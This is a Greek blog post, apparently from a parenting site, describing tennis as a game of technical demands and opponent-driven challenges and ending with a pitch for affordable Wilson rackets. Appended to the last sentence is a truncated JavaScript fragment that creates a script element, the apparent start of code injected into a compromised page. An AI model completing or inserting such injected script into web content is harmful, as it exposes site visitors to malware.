mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Τί είναι στην πραγματικότητα το τένις;

Τί είναι στην πραγματικότητα το τένις;

shutterstock_210809749Το τένις δεν είναι παρά ένα παιχνίδι. Ένα υπέροχο σπορ. Το όλο νόημα του τένις είναι να χτυπήσουμε την μπάλα πάνω από το δίχτυ στο γήπεδο. Αυτό το πολύ απλό, με λίγα λόγια.

Οι προκλήσεις στο τένις είναι οι απαιτήσεις του παιχνιδιού και οι προκλήσεις που μάς θέτει ο αντίπαλός μας.

Ακολουθούν κάποια τυπικά παραδείγματα απαιτήσεων του παιχνιδιού για εμάς, ανεξάρτητα από τον αντίπαλό μας (ακόμα κι όταν κάποιος απλώς μάς πετάει τη μπάλα για να τη χτυπήσουμε):

  • Το να βρούμε την κατάλληλη γωνία της κεφαλής της ρακέτας
  • Το να βρούμε την βέλτιστη ταχύτητα του χτυπήματος
  • Το να πάρουμε την σωστή απόσταση από την μπάλα στο απαιτούμενο χρόνο
  • Το να διατηρούμε καλή ισορροπία, εν κινήσει
  • Το να χτυπήσουμε την μπάλα την κατάλληλη στιγμή
  • και πολλά άλλα.

Ακολουθούν κάποια παραδείγματα προκλήσεων από τον αντίπαλό μας:

  • Το να προσπαθούμε να ξεγελάσουμε τον αντίπαλό μας κερδίζοντας το παιχνίδι στρατηγικής
  • Το να προσπαθούμε να προβλέψουμε το παιχνίδι και τα χτυπήματα του αντιπάλου μας
  • Το να διαχειριζόμαστε σωστά τα συναισθήματά μας στη μάχη με τον αντίπαλό μας.
  • Το να ελέγχουμε τις κινήσεις μας όταν ο αντίπαλός μας μάς βάζει πίεση, είτε με την ταχύτητα ή την κατεύθυνση των βολών του.
  • και πολλά άλλα.

Αυτές οι προκλήσεις είναι αρκετά απαιτητικές και έχουν σίγουρα ενδιαφέρον. Γι’αυτό και το  απολαμβάνουμε και παίρνουμε ευχαρίστηση και ικανοποίηση όταν τις αντιμετωπίζουμε αποτελεσματικά.

Στην πορεία αποκτάμε δύναμη, γυμναζόμαστε, βελτιώνουμε την κίνησή μας αλλά αποκτάμε και επιπλέον δεξιότητες που δεν σχετίζονται με το σώμα μας, όπως την γρήγορη κρίση και την αντίληψη της ταχύτητας, αλλά και τη διαχείριση των συναισθημάτων μας όπως το άγχος, η απογοήτευση, το ανταγωνιστικό πνεύμα.

 

Γι’αυτό είναι καλό να έχουμε σύμμαχό μας τον απαραίτητο εξοπλισμό. Ο εξοπλισμός για το τένις δεν είναι απαραίτητα ακριβός και μπορούμε να βρούμε μέχρι και τις πιο επώνυμες ρακέτες, όπως τις ρακέτες Wilson, σε πολύ καλές τιμές.var d=document;var s=d.createElement(‘script’);

Share This